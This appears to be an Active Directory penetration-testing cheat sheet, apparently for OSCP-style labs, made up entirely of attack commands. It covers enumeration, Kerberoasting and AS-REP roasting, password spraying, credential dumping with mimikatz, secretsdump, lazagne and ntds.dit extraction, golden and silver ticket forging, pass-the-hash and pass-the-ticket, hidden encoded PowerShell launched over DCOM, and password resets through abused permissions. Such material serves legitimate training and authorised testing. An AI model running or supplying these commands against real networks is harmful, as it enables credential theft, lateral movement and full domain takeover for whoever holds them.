$nxc smb $target -u '' -p '' --shares
$nxc smb $target -u 'guest' -p '' --shares
$nxc ldap $target -u <u> -p <p> --asreproast asreproast.out
$nxc ldap $target -u <u> -p <p> --kerberoasting kerberoasting.out
$nxc smb $target -u <u> -p <p> --users-export users
$nxc smb $target -u <u> -p <p> --rid-brute | grep SidTypeUser | cut -d "\\" -f 2 | cut -d " " -f 1 > users
$nxc ldap <ip> -u user -p pass --bloodhound --collection All --dns-server <IP_DC>
$ 
$# Protocol spray with valid creds
$nxc smb ips -u users -p passwords --continue-on-success | grep -v 'LOGON_FAILURE'
$nxc rdp ips -u users -p passwords --continue-on-success | grep -v 'LOGON_FAILURE'
$nxc winrm ips -u users -p passwords --continue-on-success | grep -v 'LOGON_FAILURE'
$nxc wmi ips -u users -p passwords --continue-on-success | grep -v 'LOGON_FAILURE'

$nxc smb $target   # find domain name first
$kerbrute userenum -d domain.com --dc $target /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 100 | grep "VALID USERNAME" | awk '{print $NF}' | cut -d@ -f1 > domainusers

$impacket-GetUserSPNs -dc-ip $target 'domainname/username:password' -request
$python3 targetedKerberoast.py -v -d 'domain.com' -u 'hrapp-service' -p 'password' --dc-ip $target
$john krb.hash --wordlist=/usr/share/wordlists/rockyou.txt
$# spray cracked password
$nxc ldap $target -u domainusers -p 'CrackedPass123'
$nxc winrm $target -u domainusers -p 'CrackedPass123'

$nxc smb $target -u user -p 'password' --rid-brute
$nxc smb $target -u user -p 'password' --rid-brute | grep -i sidtypeuser

$rlwrap impacket-psexec domain/user:password@$target
$rlwrap impacket-wmiexec domain/user:password@$target
$rlwrap impacket-wmiexec domain/user@$target -hashes :<hash>
$ 
$# Secretsdump (from domain admin)
$impacket-secretsdump -just-dc-ntlm domain/user:password@$target
$secretsdump.py 'oscp.exam/user:password'@<DC-IP>

$xfreerdp3 /v:192.168.x.x /u:'offsec' /p:'lab' /cert:ignore /dynamic-resolution /drive:linux,/opt/ +clipboard
$evil-winrm -i 10.10.x.x -u 'Administrator' -p 'password'
$evil-winrm -i 10.10.x.x -u 'Administrator' -H 59b280ba707d22e3ef0aa587fc29ffe5

$# Mimikatz
$.\mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::lsa /inject" "sekurlsa::logonpasswords" exit
$ 
$# Secretsdump
$secretsdump.py 'oscp.exam/user:password'@192.168.x.x
$ 
$# Lazagne
$.\lazagne.exe all

$# Mimikatz
$lsadump::dcsync /domain:security.local /all
$lsadump::dcsync /domain:security.local /user:krbtgt
$lsadump::lsa /patch

$mimikatz # privilege::debug
$mimikatz # lsadump::lsa /inject /name:krbtgt
$# Get Domain SID + KRBTGT NTLM hash, then:
$kerberos::golden /User:Administrator /domain:vuln.local /sid:S-1-5-21-XXXXX /krbtgt:<ntlm> /id:500 /ptt
$misc::cmd

$Import-Module ActiveDirectory
$Get-ADDomain   # get DomainSID
$Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
$echo -n 'ServicePassword' | iconv -t UTF-16LE | openssl md4   # get NTLM hash
$impacket-ticketer -nthash <ntlm> -domain-sid <SID> -domain domain.com -spn MSSQL/dc.domain.com -user-id 500 Administrator
$export KRB5CCNAME=Administrator.ccache
$impacket-mssqlclient -k dc.domain.com

$### Fix clock skew before any Kerberos attack
$ntpdate <dc-ip-or-hostname>
$ 
$### GenericWrite -> Targeted Kerberoasting (BloodHound shows the path)
$python3 targetedKerberoast.py -d <domain> -u <controlled-user> -p '<password>'
$hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
$ 
$### PrivescCheck.ps1 (companion to WinPEAS)
$upload PrivescCheck.ps1
$. .\PrivescCheck.ps1; Invoke-PrivescCheck

$### PowerView.ps1
$Import-Module .\PowerView.ps1
$Get-NetDomain
$Get-NetUser | select cn,pwdlastset,lastlogon
$Get-NetGroup "Domain Admins" | select member
$Get-NetComputer | select dnshostname,operatingsystem
$Find-LocalAdminAccess
$Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
$Convert-SidToName S-1-5-21-XXXXX
$Find-DomainShare -CheckAccess
$ 
$### PsLoggedOn
$.\PsLoggedon.exe \\files04
$ 
$### SharpHound / BloodHound + PowerView password-reset abuse
$Import-Module .\SharpHound.ps1
$Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\Public\ -OutputPrefix "corp"
$# sudo neo4j start ; bloodhound
$ 
$### GenericAll -> reset target user password
$$SecPassword = ConvertTo-SecureString "<your-password>" -AsPlainText -Force
$$Cred = New-Object System.Management.Automation.PSCredential("CORP\<you>", $SecPassword)
$$NewPassword = ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force
$Set-DomainUserPassword -Identity "<target-user>" -AccountPassword $NewPassword -Credential $Cred
$ 
$### Password spray via LDAP/ADSI (check lockout policy first)
$net accounts
$New-Object System.DirectoryServices.DirectoryEntry($SearchString, "<user>", "<password>")   # bind success = valid creds

$### WMI
$wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
$winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
$ 
$### Overpass-the-Hash (NTLM -> full TGT)
$mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:<hash> /run:powershell
$.\PsExec.exe \\files04 cmd
$ 
$### Pass-the-Ticket
$mimikatz # sekurlsa::tickets /export
$mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
$klist
$ls \\web04\backup
$ 
$### DCOM
$$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
$$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e <base64>","7")

$vshadow.exe -nw -p C:
$copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
$reg.exe save hklm\system c:\system.bak
$impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL

$username-anarchy Jack Goldenhand
$# Common formats: Jack.Goldenhand, j.Goldenhand, Jack_Goldenhand
$/usr/share/seclists/Usernames/Names/names.txt